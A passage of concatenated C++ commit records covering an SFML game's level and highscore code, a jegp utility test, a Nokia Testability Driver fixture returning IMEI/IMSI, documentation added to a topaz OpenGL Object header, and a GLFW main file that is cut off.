m_running = false;\n        }\n    }\n\n\n    m_lastFrameTime = m_frameTime.getElapsedTime().asSeconds();\n    m_frameTime.restart();\n}\n\n\nvoid Game::Init()\n{\n    m_pLevel = new Level(m_window);\n\n    if(!m_pLevel->Load(m_levelName))\n    {\n        db::DialogYesNo(m_window , \"Couldnt load the Level!\\nMaybe name is wrong?\");\n        m_running = false;\n    }\n\n    if(settings::IsMusicOn())\n    {\n        if(settings::GetMusic() == 1)\n        {\n            m_music.openFromFile(\"data\/audio\/Galaxy - New Electro House Techno by MafiaFLairBeatz.ogg\");\n        }\n        else if(settings::GetMusic() == 2)\n        {\n            m_music.openFromFile(\"data\/audio\/Infinity - Techno Trance Project 2011 by MafiaFLairBeatz.ogg\");\n        }\n        else\n        {\n            m_music.openFromFile(\"data\/audio\/Return of the Electro by MafiaFLairBeatz.ogg\");\n        }\n    }\n\n    sf::Vector2u sizeWin = m_window.getSize();\n\n    m_view = m_window.getView();\n    m_view.setCenter(400, 225);\n    m_view.setSize(sf::Vector2f(800,450));\n    m_viewPositionFloat = m_view.getCenter();\n\n    m_window.setView(m_view);\n\n    m_window.setSize(sizeWin);\n\n    m_font.loadFromFile(\"data\/font\/good times.ttf\");\n\n    m_time.setFont(m_font);\n    m_time.setPosition(m_window.mapPixelToCoords(sf::Vector2i(5,5)));\n    m_time.setCharacterSize(12);\n    m_time.setString(\"Time: 0\");\n\n    m_speedX.setFont(m_font);\n    m_speedX.setPosition(m_window.mapPixelToCoords(sf::Vector2i(5, 40)));\n    m_speedX.setCharacterSize(12);\n    m_speedX.setString(\"SpeedX: \" + aw::conv::ToString(aw::conv::ToInt(settings::GetSpeedX())));\n\n    settings::SetSpeedX(settings::GetStartSpeedX());\n\n    CreateBody();\n}\n\n\nvoid Game::PauseTheGame()\n{\n    m_gameTime.pause();\n    db::DialogOK(m_window, \"Game Paused! Press return\/enter to continue\");\n    m_gameTime.resume();\n    m_frameTime.restart();\n}\n\n\nvoid Game::Finish()\n{\n\n    if(settings::GetGamemode() == 0)\n    {\n\n        int position = settings::GetUnlockedLevel() -1;\n        if(position < 0)\n            position = 0;\n\n        if(m_levelName == settings::GetLevelList().at(position))\n        {\n            if(settings::IncreaseUnlockLevel())\n            {\n                db::DialogOK(m_window, \"You unlocked a new Map!\");\n                \/\/To save the current level progress\n                settings::Save();\n            }\n        }\n\n\n\n        db::DialogOK(m_window, \"Congratulation, you completed\\nthis Level!\");\n\n        m_running = false;\n        m_returnValue = \"win\";\n    }\n\n    else if(settings::GetGamemode() == 1)\n    {\n        m_gameTime.pause();\n\n        if(db::DialogYesNo(m_window, \"Do you want to upload your time?\\nInternetconnection is needed\"))\n        {\n            HighscoreUploader uploader;\n\n\n\n            std::string name = db::InputDialog(m_window, \"Please insert your name: \", \"guest\");\n\n            \/\/Return false = The connection failed\n            if(!uploader.Submit(m_levelName, name, m_pLevel->GetLevelLength(), m_pLevel->GetFilledBlocks(), m_pLevel->GetCollisionBlocks(), m_gameTime.GetTimeInMs()))\n            {\n                \/\/ Give the user feedback about the failed Connection\n                db::DialogOK(m_window, uploader.GetError());\n            }\n            else\n            {\n                \/\/If the connection works get the Highscore\n                std::vector<Score> &temp = uploader.GetScore();\n                \/\/ And display them\n                ListHighscore(m_window, m_levelName, temp);\n            }\n\n            if(db::DialogYesNo(m_window, \"Do you want to play this level again?\"))\n            {\n                m_returnValue = \"restart\";\n            }\n            else\n            {\n                m_returnValue = \"win\";\n            }\n            m_running = false;\n        }\n    }\n\n}\n\nvoid Game::CreateBody()\n{\n    float height = 7;\n    float width  = 25;\n\n    sf::Vector2f dVec; \/\/ unitVector of v\n    double magSpeed = std::sqrt((settings::GetSpeedX() * settings::GetSpeedX()) + (settings::GetSpeedY() * settings::GetSpeedY()));\n    dVec.x = settings::GetSpeedX() \/ magSpeed;\n    dVec.y = settings::GetSpeedY() \/ magSpeed;\n\n    m_body[2] = sf::Vertex(sf::Vector2f(m_position.x + (width * dVec.x), m_position.y + (width * dVec.y)), sf::Color(255,255,255)); \/\/ Right\n\n    \/\/ normal Vector from the unint V vector\n    sf::Vector2f dnVec;\n    dnVec.x = dVec.y;\n    dnVec.y = -dVec.x;\n\n    m_body[0] = sf::Vertex(sf::Vector2f(m_position.x + height * dnVec.x, m_position.y + height * dnVec.y), sf::Color(255,255,255)); \/\/ Left Bot\n    m_body[1] = sf::Vertex(sf::Vector2f(m_position.x - height * dnVec.x, m_position.y - height * dnVec.y), sf::Color(255,255,255)); \/\/ Left Top\n\n}\n\n\nvoid Game::SetWindowName()\n{\n    float progress = m_position.x \/ (m_pLevel->GetLevelLength()*m_pLevel->GetTileSize().x);\n    int iProgress = static_cast<int>(progress*10);\n\n    int i = 0;\n    std::string title = m_levelName+ \"Progress: \";\n\n    while(i < 10)\n    {\n        if(i == iProgress)\n            title = title + \">\";\n        else\n            title = title + \"-\";\n\n        i++;\n    }\n\n    m_window.setTitle(title);\n\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <cassert>\n#include <cstddef>\n#include <functional>\n#include <utility>\n#include <jegp\/utility.hpp>\n\n\/\/ [hash.combine]\n\nstruct X {\n    int v;\n};\nstruct Y { };\nstruct Z { };\n\ntemplate <> struct std::hash<X> {\n    constexpr std::size_t operator()(X x) const noexcept { return x.v; }\n};\ntemplate <> struct std::hash<Y> {\n    std::size_t operator()(Y) const { return 0; }\n};\ntemplate <> struct std::hash<Z> : std::hash<void> { };\n\ntemplate <class... Args> constexpr bool is_hash_combinable = requires { jegp::hash_combine(std::declval<Args>()...); };\n\nconstexpr void test_hash_combine() {\n    static_assert(not is_hash_combinable<>);\n    static_assert(not is_hash_combinable<int>);\n    static_assert(not is_hash_combinable<X>);\n    static_assert(not is_hash_combinable<Y>);\n    static_assert(not is_hash_combinable<Z>);\n    static_assert(is_hash_combinable<int, int>);\n    static_assert(is_hash_combinable<int, X>);\n    static_assert(is_hash_combinable<X, int>);\n    static_assert(is_hash_combinable<X, X>);\n    static_assert(is_hash_combinable<int, Y>);\n    static_assert(is_hash_combinable<Y, int>);\n    static_assert(is_hash_combinable<Y, Y>);\n    static_assert(not is_hash_combinable<int, Z>);\n    static_assert(not is_hash_combinable<Z, int>);\n    static_assert(not is_hash_combinable<Z, Z>);\n\n    static_assert(noexcept(jegp::hash_combine(0, 0)));\n    static_assert(noexcept(jegp::hash_combine(0, X{})));\n    static_assert(noexcept(jegp::hash_combine(X{}, 0)));\n    static_assert(noexcept(jegp::hash_combine(X{}, X{})));\n    static_assert(not noexcept(jegp::hash_combine(0, Y{})));\n    static_assert(not noexcept(jegp::hash_combine(Y{}, 0)));\n    static_assert(not noexcept(jegp::hash_combine(Y{}, Y{})));\n\n    const X x[]{17, 20, -23};\n\n    std::size_t seed{0};\n\n    seed ^= x[0].v;\n    seed ^= x[1].v + (seed << 6) + (seed >> 2);\n\n    assert(seed == jegp::hash_combine(x[0], x[1]));\n\n    seed ^= x[2].v + (seed << 6) + (seed >> 2);\n\n    assert(seed == jegp::hash_combine(x[0], x[1], x[2]));\n}\n\n\/\/ [static.downcast]\n\ntemplate <class DerivedRef, class Base> constexpr bool is_static_downcastable = requires {\n    jegp::static_downcast<DerivedRef>(std::declval<Base>());\n};\n\ntemplate <class Derived, class Base, bool ExpectedToPass = true>\n    requires(\n        std::is_same_v<Derived, std::remove_cvref_t<Derived>>and std::is_same_v<Base, std::remove_cvref_t<Base>> and\n        not std::is_same_v<Derived, Base> and std::is_base_of_v<Base, Derived>)\nconstexpr void assert_is_static_downcastable() {\n    auto ok = [](bool b) { return b == ExpectedToPass; };\n\n    static_assert(ok(is_static_downcastable<Derived&, Base&>));\n    static_assert(ok(is_static_downcastable<const Derived&, Base&>));\n    static_assert(ok(is_static_downcastable<Derived&&, Base&>));\n    static_assert(ok(is_static_downcastable<const Derived&&, Base&>));\n\n    static_assert(not is_static_downcastable<Derived&, const Base&>);\n    static_assert(ok(is_static_downcastable<const Derived&, const Base&>));\n    static_assert(not is_static_downcastable<Derived&&, const Base&>);\n    static_assert(ok(is_static_downcastable<const Derived&&, const Base&>));\n\n    static_assert(not is_static_downcastable<Derived&, Base>);\n    static_assert(not is_static_downcastable<const Derived&, Base>);\n    static_assert(ok(is_static_downcastable<Derived&&, Base>));\n    static_assert(ok(is_static_downcastable<const Derived&&, Base>));\n\n    static_assert(not is_static_downcastable<Derived&, const Base>);\n    static_assert(not is_static_downcastable<const Derived&, const Base>);\n    static_assert(not is_static_downcastable<Derived&&, const Base>);\n    static_assert(ok(is_static_downcastable<const Derived&&, const Base>));\n\n    static_assert(not is_static_downcastable<Derived, Base&>);\n    static_assert(not is_static_downcastable<Derived, const Base&>);\n    static_assert(not is_static_downcastable<Derived, Base>);\n    static_assert(not is_static_downcastable<Derived, const Base>);\n}\n\nconstexpr void test_static_downcast() {\n    struct B { };\n    struct D : B { };\n    struct D2 : private B { };\n    struct D3 : D, B { };\n    struct D4 : virtual B { };\n    assert_is_static_downcastable<D, B>();\n    assert_is_static_downcastable<D2, B, false>();\n    assert_is_static_downcastable<D3, B, false>();\n    assert_is_static_downcastable<D4, B, false>();\n}\n\nconsteval void test() {\n    test_hash_combine();\n    test_static_downcast();\n}\n\nint main() { test(); }\n<commit_msg>refactor: #include <type_traits><commit_after>#include <cassert>\n#include <cstddef>\n#include <functional>\n#include <type_traits>\n#include <utility>\n#include <jegp\/utility.hpp>\n\n\/\/ [hash.combine]\n\nstruct X {\n    int v;\n};\nstruct Y { };\nstruct Z { };\n\ntemplate <> struct std::hash<X> {\n    constexpr std::size_t operator()(X x) const noexcept { return x.v; }\n};\ntemplate <> struct std::hash<Y> {\n    std::size_t operator()(Y) const { return 0; }\n};\ntemplate <> struct std::hash<Z> : std::hash<void> { };\n\ntemplate <class... Args> constexpr bool is_hash_combinable = requires { jegp::hash_combine(std::declval<Args>()...); };\n\nconstexpr void test_hash_combine() {\n    static_assert(not is_hash_combinable<>);\n    static_assert(not is_hash_combinable<int>);\n    static_assert(not is_hash_combinable<X>);\n    static_assert(not is_hash_combinable<Y>);\n    static_assert(not is_hash_combinable<Z>);\n    static_assert(is_hash_combinable<int, int>);\n    static_assert(is_hash_combinable<int, X>);\n    static_assert(is_hash_combinable<X, int>);\n    static_assert(is_hash_combinable<X, X>);\n    static_assert(is_hash_combinable<int, Y>);\n    static_assert(is_hash_combinable<Y, int>);\n    static_assert(is_hash_combinable<Y, Y>);\n    static_assert(not is_hash_combinable<int, Z>);\n    static_assert(not is_hash_combinable<Z, int>);\n    static_assert(not is_hash_combinable<Z, Z>);\n\n    static_assert(noexcept(jegp::hash_combine(0, 0)));\n    static_assert(noexcept(jegp::hash_combine(0, X{})));\n    static_assert(noexcept(jegp::hash_combine(X{}, 0)));\n    static_assert(noexcept(jegp::hash_combine(X{}, X{})));\n    static_assert(not noexcept(jegp::hash_combine(0, Y{})));\n    static_assert(not noexcept(jegp::hash_combine(Y{}, 0)));\n    static_assert(not noexcept(jegp::hash_combine(Y{}, Y{})));\n\n    const X x[]{17, 20, -23};\n\n    std::size_t seed{0};\n\n    seed ^= x[0].v;\n    seed ^= x[1].v + (seed << 6) + (seed >> 2);\n\n    assert(seed == jegp::hash_combine(x[0], x[1]));\n\n    seed ^= x[2].v + (seed << 6) + (seed >> 2);\n\n    assert(seed == jegp::hash_combine(x[0], x[1], x[2]));\n}\n\n\/\/ [static.downcast]\n\ntemplate <class DerivedRef, class Base> constexpr bool is_static_downcastable = requires {\n    jegp::static_downcast<DerivedRef>(std::declval<Base>());\n};\n\ntemplate <class Derived, class Base, bool ExpectedToPass = true>\n    requires(\n        std::is_same_v<Derived, std::remove_cvref_t<Derived>>and std::is_same_v<Base, std::remove_cvref_t<Base>> and\n        not std::is_same_v<Derived, Base> and std::is_base_of_v<Base, Derived>)\nconstexpr void assert_is_static_downcastable() {\n    auto ok = [](bool b) { return b == ExpectedToPass; };\n\n    static_assert(ok(is_static_downcastable<Derived&, Base&>));\n    static_assert(ok(is_static_downcastable<const Derived&, Base&>));\n    static_assert(ok(is_static_downcastable<Derived&&, Base&>));\n    static_assert(ok(is_static_downcastable<const Derived&&, Base&>));\n\n    static_assert(not is_static_downcastable<Derived&, const Base&>);\n    static_assert(ok(is_static_downcastable<const Derived&, const Base&>));\n    static_assert(not is_static_downcastable<Derived&&, const Base&>);\n    static_assert(ok(is_static_downcastable<const Derived&&, const Base&>));\n\n    static_assert(not is_static_downcastable<Derived&, Base>);\n    static_assert(not is_static_downcastable<const Derived&, Base>);\n    static_assert(ok(is_static_downcastable<Derived&&, Base>));\n    static_assert(ok(is_static_downcastable<const Derived&&, Base>));\n\n    static_assert(not is_static_downcastable<Derived&, const Base>);\n    static_assert(not is_static_downcastable<const Derived&, const Base>);\n    static_assert(not is_static_downcastable<Derived&&, const Base>);\n    static_assert(ok(is_static_downcastable<const Derived&&, const Base>));\n\n    static_assert(not is_static_downcastable<Derived, Base&>);\n    static_assert(not is_static_downcastable<Derived, const Base&>);\n    static_assert(not is_static_downcastable<Derived, Base>);\n    static_assert(not is_static_downcastable<Derived, const Base>);\n}\n\nconstexpr void test_static_downcast() {\n    struct B { };\n    struct D : B { };\n    struct D2 : private B { };\n    struct D3 : D, B { };\n    struct D4 : virtual B { };\n    assert_is_static_downcastable<D, B>();\n    assert_is_static_downcastable<D2, B, false>();\n    assert_is_static_downcastable<D3, B, false>();\n    assert_is_static_downcastable<D4, B, false>();\n}\n\nconsteval void test() {\n    test_hash_combine();\n    test_static_downcast();\n}\n\nint main() { test(); }\n<|endoftext|>"}
{"text":"<commit_before>\/***************************************************************************\r\n**\r\n** Copyright (C) 2010 Nokia Corporation and\/or its subsidiary(-ies).\r\n** All rights reserved.\r\n** Contact: Nokia Corporation (testabilitydriver@nokia.com)\r\n**\r\n** This file is part of Testability Driver Qt Agent\r\n**\r\n** If you have questions regarding the use of this file, please contact\r\n** Nokia at testabilitydriver@nokia.com .\r\n**\r\n** This library is free software; you can redistribute it and\/or\r\n** modify it under the terms of the GNU Lesser General Public\r\n** License version 2.1 as published by the Free Software Foundation\r\n** and appearing in the file LICENSE.LGPL included in the packaging\r\n** of this file.\r\n**\r\n****************************************************************************\/\r\n\r\n#include <QApplication>\r\n#include <QtPlugin>\r\n#include <QDebug>\r\n#include <QHash>\r\n\r\n#include <taslogger.h>\r\n#include <testabilityutils.h>\r\n#include <tasqtdatamodel.h>\r\n\r\n#include \"MobilitySysInfoFixture.h\"\r\n\r\n\r\nstatic const QString ACTION_GET_IMEI = \"imei\";\r\nstatic const QString ACTION_GET_IMSI = \"imsi\";\r\n\r\nQ_EXPORT_PLUGIN2(mobilitysysinfofixture, MobilitySysInfoFixture)\r\n\r\n\/*!\r\n\\class MobilitySysInfoFixture\r\n\\brief Manages contact on device\r\n\r\n*\/\r\n\r\n\/*!\r\nConstructor\r\n*\/\r\nMobilitySysInfoFixture::MobilitySysInfoFixture(QObject* parent)\r\n    :QObject(parent)\r\n{}\r\n\r\n\/*!\r\n  Destructor\r\n*\/\r\nMobilitySysInfoFixture::~MobilitySysInfoFixture()\r\n{}\r\n\r\n\/*!\r\n  Implementation for traverse so always true.\r\n*\/\r\nbool MobilitySysInfoFixture::execute(void * objectInstance, QString actionName, QHash<QString, QString> parameters, QString & stdOut)\r\n{\r\n    Q_UNUSED(objectInstance);\r\n\r\n    TasLogger::logger()->debug(\"> MobilitySysInfoFixture::execute:\" + actionName);\r\n\r\n    QSystemDeviceInfo * di = new QSystemDeviceInfo(this);\r\n\r\n    bool retVal = false;\r\n\r\n    if (actionName == ACTION_GET_IMEI) {\r\n        stdOut.append(di->imei());\r\n        retVal = true;\r\n    } if (actionName == ACTION_GET_IMSI) {\r\n        stdOut.append(di->imsi());\r\n        retVal = true;\r\n    } else {\r\n        stdOut.append(\"Invalid contact fixture command: \"+ actionName);\r\n        return false;\r\n    }\r\n\r\n    return retVal;\r\n}\r\n\r\n<commit_msg>imei support<commit_after>\/***************************************************************************\r\n**\r\n** Copyright (C) 2010 Nokia Corporation and\/or its subsidiary(-ies).\r\n** All rights reserved.\r\n** Contact: Nokia Corporation (testabilitydriver@nokia.com)\r\n**\r\n** This file is part of Testability Driver Qt Agent\r\n**\r\n** If you have questions regarding the use of this file, please contact\r\n** Nokia at testabilitydriver@nokia.com .\r\n**\r\n** This library is free software; you can redistribute it and\/or\r\n** modify it under the terms of the GNU Lesser General Public\r\n** License version 2.1 as published by the Free Software Foundation\r\n** and appearing in the file LICENSE.LGPL included in the packaging\r\n** of this file.\r\n**\r\n****************************************************************************\/\r\n\r\n#include <QApplication>\r\n#include <QtPlugin>\r\n#include <QDebug>\r\n#include <QHash>\r\n\r\n#include <taslogger.h>\r\n#include <testabilityutils.h>\r\n#include <tasqtdatamodel.h>\r\n\r\n#include \"MobilitySysInfoFixture.h\"\r\n\r\n\r\nstatic const QString ACTION_GET_IMEI = \"imei\";\r\nstatic const QString ACTION_GET_IMSI = \"imsi\";\r\n\r\nQ_EXPORT_PLUGIN2(mobilitysysinfofixture, MobilitySysInfoFixture)\r\n\r\n\/*!\r\n\\class MobilitySysInfoFixture\r\n\\brief Manages contact on device\r\n\r\n*\/\r\n\r\n\/*!\r\nConstructor\r\n*\/\r\nMobilitySysInfoFixture::MobilitySysInfoFixture(QObject* parent)\r\n    :QObject(parent)\r\n{}\r\n\r\n\/*!\r\n  Destructor\r\n*\/\r\nMobilitySysInfoFixture::~MobilitySysInfoFixture()\r\n{}\r\n\r\n\/*!\r\n  Implementation for traverse so always true.\r\n*\/\r\nbool MobilitySysInfoFixture::execute(void * objectInstance, QString actionName, QHash<QString, QString> parameters, QString & stdOut)\r\n{\r\n    Q_UNUSED(objectInstance);\r\n\r\n    TasLogger::logger()->debug(\"> MobilitySysInfoFixture::execute:\" + actionName);\r\n\r\n    QSystemDeviceInfo * di = new QSystemDeviceInfo(this);\r\n\r\n    bool retVal = false;\r\n\r\n    if (actionName == ACTION_GET_IMEI) {\r\n        stdOut.append(di->imei());\r\n        retVal = true;\r\n    } else if (actionName == ACTION_GET_IMSI) {\r\n        stdOut.append(di->imsi());\r\n        retVal = true;\r\n    } else {\r\n        stdOut.append(\"Invalid mobility sysinfo command: \"+ actionName);\r\n        return false;\r\n    }\r\n\r\n    return retVal;\r\n}\r\n\r\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/ Created by Harrand on 25\/12\/2019.\n\/\/\n\n#ifndef TOPAZ_GL_OBJECT_HPP\n#define TOPAZ_GL_OBJECT_HPP\n#include \"gl\/buffer.hpp\"\n#include <vector>\n#include <memory>\n\nnamespace tz::gl\n{\n    using ObjectHandle = GLuint;\n\n    \/**\n     * TODO: Document\n     *\/\n    class Object\n    {\n    public:\n        \/**\n         * TODO: Document\n         *\/\n        Object();\n        \/**\n         * TODO: Document\n         *\/\n        ~Object();\n        \/**\n         * TODO: Document\n         *\/\n        void bind() const;\n        \/**\n         * TODO: Document\n         *\/\n        void unbind() const;\n\n        \/**\n         * TODO: Document\n         *\/\n        std::size_t size() const;\n\n        bool operator==(ObjectHandle handle) const;\n        bool operator==(const Object& rhs) const;\n        bool operator!=(ObjectHandle handle) const;\n        bool operator!=(const Object& rhs) const;\n\n        std::size_t add_buffer(std::unique_ptr<tz::gl::IBuffer> buffer);\n        template<tz::gl::BufferType Type, typename... Args>\n        std::size_t emplace_buffer(Args&&... args);\n\n        tz::gl::IBuffer* operator[](std::size_t idx);\n        const tz::gl::IBuffer* operator[](std::size_t idx) const;\n\n        void bind_child(std::size_t idx) const;\n\n        template<tz::gl::BufferType Type>\n        tz::gl::Buffer<Type>* get(std::size_t idx);\n        template<tz::gl::BufferType Type>\n        const tz::gl::Buffer<Type>* get(std::size_t idx) const;\n    private:\n        void verify() const;\n\n        ObjectHandle vao;\n        std::vector<std::unique_ptr<tz::gl::IBuffer>> buffers;\n    };\n\n    namespace bound\n    {\n        int vao();\n    }\n}\n\n#include \"gl\/object.inl\"\n#endif \/\/ TOPAZ_GL_OBJECT_HPP<commit_msg>* Better documentation for tz::gl::Object!<commit_after>\/\/\n\/\/ Created by Harrand on 25\/12\/2019.\n\/\/\n\n#ifndef TOPAZ_GL_OBJECT_HPP\n#define TOPAZ_GL_OBJECT_HPP\n#include \"gl\/buffer.hpp\"\n#include <vector>\n#include <memory>\n\nnamespace tz::gl\n{\n    using ObjectHandle = GLuint;\n\n    \/**\n     * tz::gl::Objects represent arbitrary Objects stored in VRAM. In OpenGL nomenclature, it is little more than a glorified VAO.\n     * \n     * tz::gl::Objects are responsible for ownership of at least zero tz::gl::Buffers. Some Buffers need no Object parent to work, but some do.\n     *\/\n    class Object\n    {\n    public:\n        \/**\n         * Construct an empty Object. This object will be valid to the eyes of the graphics card drivers but has no useful information.\n         *\/\n        Object();\n        \/**\n         * Cleans up VRAM resources used and will destroy all parent Buffers.\n         *\/\n        ~Object();\n        \/**\n         * Bind the Object. TODO: Document this better.\n         *\/\n        void bind() const;\n        \/**\n         * Unbind the Object. TODO: Document this better.\n         *\/\n        void unbind() const;\n\n        \/**\n         * Retrieve the number of Buffers that this Object owns.\n         * @return Number of child buffers.\n         *\/\n        std::size_t size() const;\n\n        bool operator==(ObjectHandle handle) const;\n        bool operator==(const Object& rhs) const;\n        bool operator!=(ObjectHandle handle) const;\n        bool operator!=(const Object& rhs) const;\n\n        \/**\n         * Take ownership of an existing Buffer and retrieve an opaque ID handle corresponding to that Buffer.\n         * \n         * Note: This handle can be passed to operator[] to retrieve a pointer to the Buffer.\n         * @param buffer The buffer to take ownership of.\n         * @return Handle ID of the now-owned Buffer.\n         *\/\n        std::size_t add_buffer(std::unique_ptr<tz::gl::IBuffer> buffer);\n        \/**\n         * Create a new Buffer in-place and retrieve an opaque ID handle corresponding to the new Buffer.\n         * \n         * Note: This handle can be passed to operator[] to retrieve a pointer to the Buffer.\n         * @tparam Type The type specialisation to create the Buffer.\n         * @tparam Args Types of arguments used to construct the Buffer.\n         * @param args Values of arguments used to construct the Buffer.\n         * @return Handle ID of the newly-created and owned Buffer.\n         *\/\n        template<tz::gl::BufferType Type, typename... Args>\n        std::size_t emplace_buffer(Args&&... args);\n\n        \/**\n         * Retrieve a pointer to an existing Buffer using its Handle ID.\n         * \n         * Note: This can return nullptr if the Buffer at this index was previously erased or released.\n         * Precondition: The given index must be in-range (0 <= idx <= this->size()). Otherwise this will assert and invoke UB.\n         * @param idx Handle ID whose corresponding Buffer should be retrieved.\n         * @return Pointer to the existing Buffer if it exists. Otherwise nullptr.\n         *\/\n        tz::gl::IBuffer* operator[](std::size_t idx);\n        \/**\n         * Retrieve a pointer to an existing IBuffer using its Handle ID. This will return the underlying interface.\n         * \n         * Note: This can return nullptr if the Buffer at this index was previously erased or released.\n         * Precondition: The given index must be in-range (0 <= idx <= this->size()). Otherwise this will assert and invoke UB.\n         * @param idx Handle ID whose corresponding Buffer should be retrieved.\n         * @return Pointer to the existing Buffer if it exists. Otherwise nullptr.\n         *\/\n        const tz::gl::IBuffer* operator[](std::size_t idx) const;\n\n        \/**\n         * Bind this Object, and then bind the child at the given index. This corresponds to the handle ID used when creating or taking ownership of the Buffer.\n         * Precondition: See IBuffer::bind()\n         * Precondition: The given index must be in-range (0 <= idx <= this->size()). Otherwise this will assert and invoke UB.\n         * @param idx Handle ID whose corresponding Buffer should be bound.\n         *\/\n        void bind_child(std::size_t idx) const;\n        \/**\n         * Retrieve a pointer to an existing IBuffer using its Handle ID. This will return the underlying interface.\n         * \n         * Note: This can return nullptr if the Buffer at this index was previously erased or released.\n         * Note: If the underlying type o the Buffer is not known, you can instead retrieve a pointer to the interface via this->operator[].\n         * Precondition: The given index must be in-range (0 <= idx <= this->size()). Otherwise this will assert and invoke UB.\n         * Precondition: The Buffer at the given index must have underlying type matching Type. Otherwise this will invoke UB without asserting.\n         * @tparam Type Underlying type of the Buffer at the given index.\n         * @param idx Handle ID whose corresponding Buffer should be retrieved.\n         * @return Pointer to the existing Buffer if it exists. Otherwise nullptr.\n         *\/\n        template<tz::gl::BufferType Type>\n        tz::gl::Buffer<Type>* get(std::size_t idx);\n        \/**\n         * Retrieve a pointer to an existing IBuffer using its Handle ID. This will return the underlying interface.\n         * \n         * Note: This can return nullptr if the Buffer at this index was previously erased or released.\n         * Note: If the underlying type o the Buffer is not known, you can instead retrieve a pointer to the interface via this->operator[].\n         * Precondition: The given index must be in-range (0 <= idx <= this->size()). Otherwise this will assert and invoke UB.\n         * Precondition: The Buffer at the given index must have underlying type matching Type. Otherwise this will invoke UB without asserting.\n         * @tparam Type Underlying type of the Buffer at the given index.\n         * @param idx Handle ID whose corresponding Buffer should be retrieved.\n         * @return Pointer to the existing Buffer if it exists. Otherwise nullptr.\n         *\/\n        template<tz::gl::BufferType Type>\n        const tz::gl::Buffer<Type>* get(std::size_t idx) const;\n    private:\n        void verify() const;\n\n        ObjectHandle vao;\n        std::vector<std::unique_ptr<tz::gl::IBuffer>> buffers;\n    };\n\n    namespace bound\n    {\n        \/**\n         * Retrieve the currently bound VAO. This will return 0 if no VAO is bound.\n         * @return Positive integer representing bound VAO if there is one. Otherwise 0.\n         *\/\n        int vao();\n    }\n}\n\n#include \"gl\/object.inl\"\n#endif \/\/ TOPAZ_GL_OBJECT_HPP<|endoftext|>"}
{"text":"<commit_before>\/\/ glfw_main.cpp\n\n#include <GL\/glew.h>\n\n#if defined(_WIN32)\n#  include <Windows.h>\n#  define GLFW_EXPOSE_NATIVE_WIN32\n#  define GLFW_EXPOSE_NATIVE_WGL\n#elif defined(__linux__)\n#  include <X11\/X.h>\n#  include <X11\/extensions\/Xrandr.h>\n#  define GLFW_EXPOSE_NATIVE_X11\n#  define GLFW_EXPOSE_NATIVE_GLX\n#endif\n\n#include <GLFW\/glfw3.h>\n\n#if !defined(__APPLE__)\n#  include <GLFW\/glfw3native.h>\n#endif\n\n#include <glm\/gtc\/type_ptr.hpp>\n\n#include <stdio.h>\n#include <string.h>\n#include <sstream>\n\n#include \"ShaderFunctions.h\"\n\n\/\/ Set VSync is framework-dependent and has to come before the include\n\/\/\/@param state 0=off, 1=on, -1=adaptive\n\/\/ Set vsync for both contexts.\nstatic void SetVsync(int state)\n{\n    glfwSwapInterval(state);\n}\n\nstatic void ErrorCallback(int p_Error, const char* p_Description)\n{\n    (void)p_Error;\n    (void)p_Description;\n}\n\n\nvoid keyboard(GLFWwindow* pWindow, int key, int codes, int action, int mods)\n{\n    (void)pWindow;\n    (void)codes;\n\n    if (action == GLFW_PRESS)\n    {\n    switch (key)\n    {\n        default:\n            break;\n\n        case GLFW_KEY_ESCAPE:\n            glfwTerminate();\n            break;\n        }\n    }\n}\n\nvoid resize(GLFWwindow* pWindow, int w, int h)\n{\n    (void)pWindow;\n}\n\nint main(int argc, char** argv)\n{\n    bool useOpenGLCoreContext = false;\n\n#ifdef USE_CORE_CONTEXT\n   \/\/ useOpenGLCoreContext = true;\n#endif\n\n#ifdef _LINUX\n    \/\/ Linux driver seems to be lagging a bit\n    useOpenGLCoreContext = false;\n#endif\n\n    \/\/ Command line options\n    for (int i=0; i<argc; ++i)\n    {\n        const std::string a = argv[i];\n        if (!a.compare(\"-core\"))\n        {\n            useOpenGLCoreContext = true;\n        }\n        else if (!a.compare(\"-compat\"))\n        {\n            useOpenGLCoreContext = false;\n        }\n    }\n\n    GLFWwindow* l_Window = NULL;\n    glfwSetErrorCallback(ErrorCallback);\n    if (!glfwInit())\n    {\n        exit(EXIT_FAILURE);\n    }\n\n#ifndef _LINUX\n    glfwWindowHint(GLFW_CONTEXT_VERSION_MAJOR, 4);\n#  if defined(_MACOS)\n    glfwWindowHint(GLFW_CONTEXT_VERSION_MINOR, 1);\n#  else\n    glfwWindowHint(GLFW_CONTEXT_VERSION_MINOR, 2);\n#  endif\n#endif \/\/ndef _LINUX\n    if (useOpenGLCoreContext)\n    {\n        glfwWindowHint(GLFW_OPENGL_PROFILE, GLFW_OPENGL_CORE_PROFILE);\n        glfwWindowHint(GLFW_OPENGL_FORWARD_COMPAT, GL_TRUE);\n    }\n    else\n    {\n#ifndef _LINUX\n        glfwWindowHint(GLFW_OPENGL_PROFILE, GLFW_OPENGL_COMPAT_PROFILE);\n#endif\n    }\n\n    glfwWindowHint(GLFW_SAMPLES, 0);\n    l_Window = glfwCreateWindow(800, 600, \"kinderegg\", NULL, NULL);\n    if (!l_Window)\n    {\n        glfwTerminate();\n        exit(EXIT_FAILURE);\n    }\n\n    glfwMakeContextCurrent(l_Window);\n    glfwSetWindowSizeCallback(l_Window, resize);\n    glfwSetKeyCallback(l_Window, keyboard);\n\n    glfwMakeContextCurrent(l_Window);\n\n    \/\/ Don't forget to initialize Glew, turn glewExperimental on to\n    \/\/ avoid problems fetching function pointers...\n    glewExperimental = GL_TRUE;\n    const GLenum l_Result = glewInit();\n    if (l_Result != GLEW_OK)\n    {\n        exit(EXIT_FAILURE);\n    }\n\n    GLuint l_vao = 0;\n    glGenVertexArrays(1, &l_vao);\n    glBindVertexArray(l_vao);\n\n    GLuint prog = makeShaderByName(\"basic\");\n\n\n    while (!glfwWindowShouldClose(l_Window))\n    {\n        glfwPollEvents();\n\n        glUseProgram(prog);\n#if 1\n        glBegin(GL_TRIANGLES);\n        glColor3f(1.f, 0.f, 0.f);\n        glVertex3f(0.f, 0.f, 0.f);\n\n        glColor3f(0.f, 1.f, 0.f);\n        glVertex3f(1.f, 0.f, 0.f);\n\n        glColor3f(0.f, 0.f, 1.f);\n        glVertex3f(0.f, 1.f, 0.f);\n\n        glEnd();\n#endif\n\n        glfwSwapBuffers(l_Window);\n    }\n\n    glfwDestroyWindow(l_Window);\n    glfwTerminate();\n    exit(EXIT_SUCCESS);\n}\n<commit_msg>Draw rect to fill screen.<commit_after>\/\/ glfw_main.cpp\n\n#include 